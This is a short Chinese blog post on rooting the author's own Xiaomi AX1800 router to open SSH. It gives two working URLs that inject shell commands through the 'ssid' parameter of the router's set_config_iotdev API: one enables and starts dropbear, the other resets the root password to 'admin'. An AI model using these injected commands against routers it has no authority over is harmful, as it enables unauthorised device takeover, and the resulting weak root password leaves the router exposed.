今天不知道怎么误入一篇文章,说小米路由器可以开启ssh。本着研究Linux的精神,我把自家的AX1800给root了,记载一下开启方法。
首先要明白一点,任何一台小米路由器都有一个stok值,这个值怎么获得呢,只需进入你的路由器控制画面即可获得,如下图红框:

有了stok值,我们就可root小米路由器啦
首先,新打开一个浏览器窗口,置换下面stok的值后复制到浏览器网址栏执行。
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
执行完上面的代码,ssh就可链接上了,可是没找到正确的密码。于是继续百度,发现执行以下代码可以更改root密码为admin。然后,然后就没有然后了,大功告成。
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
登录后竟然是Are you OK?

以下为我参考的网址